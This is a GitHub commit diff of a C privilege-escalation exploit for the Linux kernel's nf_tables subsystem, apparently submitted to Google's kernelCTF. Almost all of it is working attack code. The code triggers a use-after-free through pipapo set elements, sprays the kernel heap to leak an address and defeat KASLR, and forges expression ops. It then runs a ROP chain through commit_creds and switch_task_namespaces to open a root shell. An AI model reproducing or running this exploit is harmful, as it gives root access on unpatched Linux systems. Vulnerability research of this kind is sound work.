27
27
#include "setelem.h"
28
28
#include "table.h"
29
29
#include "set.h"
30
+ #include "rop.h"
30
31
31
32
char * leak_data = NULL ;
32
33
char * table_udata = NULL ;
33
34
int table_num = 0 ;
34
- uint64_t leak_ops = 0 , leak_heap = 0 , kernel_off = 0 ;
35
+ uint64_t kernel_off = 0 ;
35
36
unsigned long user_cs ,user_ss ,user_rsp ,user_rflags ;
36
37
37
38
void shell (){
38
39
printf ("ret2usr success! uid : %d\n" ,getuid ());
39
40
char * args [] = {"/bin/sh" , "-i" , NULL };
40
41
execve (args [0 ], args , NULL );
41
- //while(1);
42
42
}
43
43
44
44
static void save_state () {
@@ -59,7 +59,6 @@ void pin_on_cpu(int cpu) {
59
59
perror ("sched_setaffinity()" );
60
60
exit (EXIT_FAILURE );
61
61
}
62
- usleep (1000 );
63
62
}
64
63
65
64
int setup_sandbox (void ) {
@@ -71,22 +70,20 @@ int setup_sandbox(void) {
71
70
perror ("[-] unshare(CLONE_NEWNET)" );
72
71
return -1 ;
73
72
}
74
- pin_on_cpu (0 );
75
73
return 0 ;
76
74
}
77
75
78
76
79
77
80
78
void send_msg_list (struct nl_sock * socket , struct nlmsghdr * * msg_list , int num ){
81
79
struct nl_msg * msg = nlmsg_alloc ();
82
- //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
83
80
struct nlmsghdr * hdr1 = nlmsg_put (
84
81
msg ,
85
82
NL_AUTO_PORT , // auto assign current pid
86
83
NL_AUTO_SEQ , // begin wit seq number 0
87
84
NFNL_MSG_BATCH_BEGIN , // TYPE
88
85
sizeof (struct nfgenmsg ),
89
- NLM_F_REQUEST //NLM_F_ECHO
86
+ NLM_F_REQUEST
90
87
);
91
88
struct nfgenmsg * h = malloc (sizeof (struct nfgenmsg ));
92
89
h -> nfgen_family = 2 ;
@@ -100,7 +97,7 @@ void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num)
100
97
NL_AUTO_SEQ , // begin wit seq number 0
101
98
NFNL_MSG_BATCH_END ,// TYPE
102
99
sizeof (struct nfgenmsg ),
103
- NLM_F_REQUEST //NLM_F_ECHO
100
+ NLM_F_REQUEST
104
101
);
105
102
uint32_t total_size = NLMSG_ALIGN (hdr1 -> nlmsg_len ) + NLMSG_ALIGN (hdr3 -> nlmsg_len );
106
103
int i ;
@@ -128,10 +125,8 @@ int nl_callback_get_table(struct nl_msg* recv_msg, void* arg)
128
125
struct nlmsghdr * ret_hdr = nlmsg_hdr (recv_msg );
129
126
struct nlattr * tb_msg [NFTA_TABLE_MAX + 1 ];
130
127
memset (tb_msg , 0 , NFTA_TABLE_MAX * 8 );
131
- //printf("Get message back!\n");
132
128
133
129
if (ret_hdr -> nlmsg_type == NLMSG_ERROR ) {
134
- //printf("Received NLMSG_ERROR message!\n");
135
130
return NL_STOP ;
136
131
}
137
132
@@ -171,7 +166,8 @@ void exploit(struct nl_sock *socket){
171
166
char * target_obj = "obj for exp" ;
172
167
173
168
new_table (socket , table );
174
- new_set_pipapo (socket ,table , pipapo_set , 0x40 , NFT_OBJECT_CT_EXPECT );
169
+ //Step 1 Create a pipapo set `A`
170
+ new_set_pipapo (socket ,table , pipapo_set , 0x40 , NFT_OBJECT_CT_EXPECT );//Set A
175
171
new_set_bitmap (socket , table , bitmap_set );
176
172
177
173
char * key = malloc (0x40 );
@@ -180,22 +176,24 @@ void exploit(struct nl_sock *socket){
180
176
memset (pad ,0x41 ,0x100 );
181
177
uint64_t hash_key ;
182
178
183
- //trigger the vulnerability
179
+ //Step 2 Create element `B` and element `C` in set `A`.
184
180
new_obj_ct_expect (socket , table , target_obj , NULL , 0 );
185
181
memset (key ,0x41 ,0x40 );
186
182
spray_tables (socket ,0x200 , pad , 0xd0 );
187
- new_setelem (socket , table , pipapo_set , pad , 0x80 , target_obj , key , 0x40 , NULL , 0 , 0 );
183
+ new_setelem (socket , table , pipapo_set , pad , 0x80 , target_obj , key , 0x40 , NULL , 0 , 0 );//Set element B
188
184
memset (key ,0x42 ,0x40 );
189
- new_setelem (socket , table , pipapo_set , pad , 0x80 , target_obj , key , 0x40 , NULL , 0 , 0 );
185
+ new_setelem (socket , table , pipapo_set , pad , 0x80 , target_obj , key , 0x40 , NULL , 0 , 0 );//Set element C
190
186
spray_tables (socket ,0x200 , pad , 0xd0 );
187
+ //Step 3
191
188
struct nlmsghdr * * msg_list = malloc (sizeof (struct nlmsghdr * )* 5 );
192
189
memset (msg_list , 0 , sizeof (struct nlmsghdr * )* 5 );
193
190
memset (key ,0x43 ,0x40 );
194
- msg_list [0 ] = new_setelem_msg (table , pipapo_set , pad , 0x80 , target_obj , key , 0x40 , NULL , 0 );
191
+ msg_list [0 ] = new_setelem_msg (table , pipapo_set , pad , 0x80 , target_obj , key , 0x40 , NULL , 0 );//Set element D
195
192
msg_list [1 ] = del_set_msg (table , pipapo_set );
196
193
send_msg_list (socket , msg_list , 2 );
197
- sleep (0. 1 );
194
+ sleep (1 );//Waiting the function nf_tables_commit
198
195
//Now we try to get the heap back and check if we success
196
+ //Step 4 Try to alloc the heap of the set element `C` back by creating `nft_table` with `NFTA_TABLE_USERDATA`.
199
197
struct nl_sock * socket2 = nl_socket_alloc ();
200
198
if (nfnl_connect (socket2 )< 0 ){
201
199
printf ("nfnl_connect fail!\n" );
@@ -204,7 +202,7 @@ void exploit(struct nl_sock *socket){
204
202
nl_socket_modify_cb (socket2 ,NL_CB_MSG_IN , NL_CB_CUSTOM , nl_callback_get_table , NULL );
205
203
int try_num = 0 ;
206
204
char * table_name = malloc (0x100 );
207
- int a = 0 ,b = 0 ;
205
+ int e = 0 ,f = -1 ;
208
206
while (1 ){
209
207
printf ("trying %d\n" ,try_num );
210
208
snprintf (table_name , 0x100 , "table for test %d" , try_num );
@@ -219,14 +217,15 @@ void exploit(struct nl_sock *socket){
219
217
printf ("Get udata : %d\n" , * (int * )table_udata );
220
218
if (* (int * )table_udata != i ){
221
219
//It means we get two same object from the free list of kernel heap.
222
- a = * (int * )table_udata ;
223
- b = i ;
220
+ e = * (int * )table_udata ;
221
+ f = i ;
224
222
break ;
225
223
}
226
224
}
227
- if (b != 0 )
225
+ if (f != -1 )
228
226
break ;
229
227
try_num ++ ;
228
+ sleep (0.1 );//Waiting the function nf_tables_commit
230
229
231
230
}
232
231
//Now, we free many object to avoid crash
@@ -238,81 +237,93 @@ void exploit(struct nl_sock *socket){
238
237
snprintf (tmp , 0x100 , "table_for_leak_%ld" , i );
239
238
del_table (socket , tmp );
240
239
}
241
- sleep (0.5 );
240
+ sleep (0.5 );//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
242
241
243
- printf ("We get it! A : %d B : %d \n" , a , b );
242
+ printf ("We get it! E : %d F : %d \n" , e , f );
244
243
245
- snprintf (tmp , 0x100 , "table for test %d" , a );
246
- //free one of it .
244
+ snprintf (tmp , 0x100 , "table for test %d" , e );
245
+ //Step 5 Delete `nft_table E` .
247
246
del_table (socket , tmp );
248
- sleep (5 );
247
+ sleep (5 );//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
249
248
uint16_t bitmap_key = 0 ;
250
249
i = 0 ;
250
+ //Step 6 Spray heap to get the heap of `nft_table E->udata` back.
251
251
while (1 ){
252
252
bitmap_key = i ;
253
- new_setelem_with_expr (socket , table , bitmap_set , pad , 0xb0 , NULL , & bitmap_key , 2 , NULL , 0 );
254
- snprintf (tmp , 0x100 , "table for test %d" , b );
255
- get_table (socket2 , tmp );
253
+ new_setelem_with_expr (socket , table , bitmap_set , pad , 0xc0 , NULL , & bitmap_key , 2 , NULL , 0 );
254
+ snprintf (tmp , 0x100 , "table for test %d" , f );
255
+ get_table (socket2 , tmp );//[1]
256
256
nl_recvmsgs_default (socket2 );
257
257
nl_recvmsgs_default (socket2 );
258
- printf ("Get ops 0x28 : %llx\n" ,* (uint64_t * )(table_udata + 0x28 ));
259
- if (((* (uint64_t * )(table_udata + 0x28 )) & 0xfff ) == 0xF20 ){
260
- break ;
258
+ printf ("Get ops : %llx\n" ,* (uint64_t * )(table_udata + 0x28 ));//0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
259
+ if (((* (uint64_t * )(table_udata + 0x28 )) & 0xfff ) == 0x2e0 ){
260
+ break ;
261
261
}
262
- sleep (0.1 );
262
+ sleep (0.1 );//Waiting the function nf_tables_commit.
263
263
i ++ ;
264
264
}
265
265
//Save it. We will use it later.
266
+ //Step 7: Dump `nft_table F`. We have dump it in [1]
266
267
char * setelem_data = malloc (0x100 );
267
268
memcpy (setelem_data , table_udata , 0xd0 );
268
- kernel_off = * (uint64_t * )(table_udata + 0x28 ) - 0xFFFFFFFF82ACAF20 ; //nft_last_ops
269
+ kernel_off = * (uint64_t * )(table_udata + 0x28 ) - NFT_LAST_OPS ; //nft_last_ops, 0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
269
270
//now we get ops, we try to add a small setelem and leak it. We will use this setelem as expr->ops target.
271
+ //Step 8: Create another set element `G`.
270
272
bitmap_key ++ ;
271
- new_setelem (socket , table , bitmap_set , pad , 0x60 , NULL , & bitmap_key , 2 , NULL , 0 , 0 );
272
- snprintf (tmp , 0x100 , "table for test %d" , b );
273
+ new_setelem (socket , table , bitmap_set , pad , 0x60 , NULL , & bitmap_key , 2 , NULL , 0 , 0 );//set element G
274
+ snprintf (tmp , 0x100 , "table for test %d" , f );
275
+
273
276
get_table (socket2 , tmp );
274
277
nl_recvmsgs_default (socket2 );
275
278
nl_recvmsgs_default (socket2 );
276
- printf ("Get next setelem : %llx\n" ,* (uint64_t * )table_udata );
279
+ printf ("Get next setelem : %llx\n" ,* (uint64_t * )table_udata );// 0 = offset(head.next,struct nft_bitmap_elem)
277
280
278
- uint64_t ops_addr = * (uint64_t * )table_udata ;
281
+ uint64_t ops_addr = * (uint64_t * )table_udata ;//We use the heap of the next set element as the expr[0]->ops
279
282
//Free the small setelem, and fill it with our target expr->ops->dump and expr->ops->type
283
+ //Step 9 : Delete set element `G`.Fill the heap memory of set element `G` through heap spraying.
280
284
del_setelem (socket , table , bitmap_set , & bitmap_key , 2 , NULL , 0 );
281
- //ops->dump
282
- * (uint64_t * )& pad [0x40 ] = kernel_off + 0xffffffff811b0023 ;//leave ; ret
283
- //ops->type
284
- * (uint64_t * )& pad [0x70 ] = kernel_off + 0xFFFFFFFF8371BF00 ;//last type
285
+ sleep (1 );//Waiting the function nft_commit_release which finally call nf_tables_set_elem_destroy
286
+ //fake ops->dump
287
+ * (uint64_t * )& pad [0x40 ] = kernel_off + LEAVE_RET ;
288
+ //fake ops->type
289
+ * (uint64_t * )& pad [0x78 ] = kernel_off + NFT_LAST_TYPE ;/*the address of nft_last_type
290
+ In function nf_tables_fill_expr_info:
291
+ if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
292
+ so we need to fake ops->type to avoid kernel crash
293
+ */
285
294
spray_tables (socket ,0x200 , pad , 0x80 );
286
295
//Now we try to control ip by faking another expr in set elem.
287
296
//build fake setelem
288
297
* (uint64_t * )& setelem_data [0x28 ] = ops_addr ; //expr[0]->ops
289
298
//start ROP
290
- * (uint64_t * )& setelem_data [0x30 ] = kernel_off + 0xFFFFFFFF813E36EE ; //pop rdi; ret
291
- * (uint64_t * )& setelem_data [0x38 ] = kernel_off + 0xFFFFFFFF83462180 ; //init_cred
292
- * (uint64_t * )& setelem_data [0x40 ] = kernel_off + 0xFFFFFFFF8110E830 ; //commit_creds ;
293
- * (uint64_t * )& setelem_data [0x48 ] = kernel_off + 0xFFFFFFFF813E36EE ; //pop rdi ; ret
299
+ * (uint64_t * )& setelem_data [0x30 ] = kernel_off + POP_RDI_RET ;
300
+ * (uint64_t * )& setelem_data [0x38 ] = kernel_off + INIT_CRED ;
301
+ * (uint64_t * )& setelem_data [0x40 ] = kernel_off + COMMIT_CREDS ;
302
+ * (uint64_t * )& setelem_data [0x48 ] = kernel_off + POP_RDI_RET ;
294
303
* (uint64_t * )& setelem_data [0x50 ] = 1 ;
295
- * (uint64_t * )& setelem_data [0x58 ] = kernel_off + 0xFFFFFFFF81105680 ; //find_task_by_vpid
296
- * (uint64_t * )& setelem_data [0x60 ] = kernel_off + 0xffffffff8102c701 ; //mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
304
+ * (uint64_t * )& setelem_data [0x58 ] = kernel_off + FIND_TASK_BY_VPID ;
305
+ * (uint64_t * )& setelem_data [0x60 ] = kernel_off + MOV_RDI_RAX_POP_RBX_RET ;
297
306
* (uint64_t * )& setelem_data [0x68 ] = 0 ;
298
- * (uint64_t * )& setelem_data [0x70 ] = kernel_off + 0xffffffff811aaf4a ; //pop rsi ; ret
299
- * (uint64_t * )& setelem_data [0x78 ] = kernel_off + 0xFFFFFFFF83461F40 ; //init_nsproxy
300
- * (uint64_t * )& setelem_data [0x80 ] = kernel_off + 0xFFFFFFFF8110CE30 ; //switch_task_namespaces
301
- * (uint64_t * )& setelem_data [0x88 ] = kernel_off + 0xFFFFFFFF82002107 ; //swapgs; ret
302
- * (uint64_t * )& setelem_data [0x90 ] = kernel_off + 0xFFFFFFFF822011A7 ; //iretq
307
+ * (uint64_t * )& setelem_data [0x70 ] = kernel_off + POP_RSI_RET ;
308
+ * (uint64_t * )& setelem_data [0x78 ] = kernel_off + INIT_NSPROXY ;
309
+ * (uint64_t * )& setelem_data [0x80 ] = kernel_off + SWITCH_TASK_NAMESPACES ;
310
+ * (uint64_t * )& setelem_data [0x88 ] = kernel_off + SWAPGS_RET ;
311
+ * (uint64_t * )& setelem_data [0x90 ] = kernel_off + IRETQ ;
303
312
* (uint64_t * )& setelem_data [0x98 ] = (uint64_t )shell ;
304
313
* (uint64_t * )& setelem_data [0xa0 ] = user_cs ;
305
314
* (uint64_t * )& setelem_data [0xa8 ] = user_rflags ;
306
- * (uint64_t * )& setelem_data [0xb0 ] = user_rsp |8 ;
315
+ * (uint64_t * )& setelem_data [0xb0 ] = user_rsp |8 ;//You don't need to add '|8' when exploiting kernelctf.vrp.ctfcompetition.com:1337) It seems that without this '|8', a stack error will occur during github pull check. I haven't studied why this problem occurs, but I guess it has something to do with the stack alignment when returning to the function shell.
307
316
* (uint64_t * )& setelem_data [0xb8 ] = user_ss ;
308
317
309
- //del table b first
318
+ //Step 10: Delete `nft_table F`.
310
319
del_table (socket , tmp );
320
+ //Step 11 and 12
311
321
//Try to get it back and control RIP
322
+ sleep (5 );//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
312
323
bitmap_key = i ;
313
324
int t = 0 ;
314
325
while (1 ){
315
- sleep (0.1 );
326
+ sleep (0.1 );//Avoid heap crashes caused by excessive kmalloc.
316
327
spray_tables (socket , 1 , setelem_data , 0xd0 );
317
328
get_setelem (socket , table , bitmap_set , & bitmap_key , 2 );
318
329
printf ("%d\n" ,t );
@@ -323,18 +334,27 @@ void exploit(struct nl_sock *socket){
323
334
while (1 );
324
335
}
325
336
337
+
338
+ struct nl_sock * setup_nl_socket (){
339
+ struct nl_sock * socket = nl_socket_alloc ();
340
+
341
+ if (nfnl_connect (socket )< 0 ){
342
+ printf ("nfnl_connect fail!\n" );
343
+ return NULL ;
344
+ }
345
+ return socket ;
346
+ }
347
+
326
348
int main (void ) {
327
349
if (setup_sandbox () < 0 ){
328
350
printf ("Create sandbox fail!\n" );
329
351
return 0 ;
330
352
}
353
+ pin_on_cpu (0 );
331
354
save_state ();
332
- struct nl_sock * socket = nl_socket_alloc ();
333
-
334
- if (nfnl_connect (socket )< 0 ){
335
- printf ("nfnl_connect fail!\n" );
336
- return 0 ;
337
- }
355
+ struct nl_sock * socket = setup_nl_socket ();
356
+ if (socket == NULL )
357
+ return 0 ;
338
358
exploit (socket );
339
359
return 0 ;
340
360
}
0 commit comments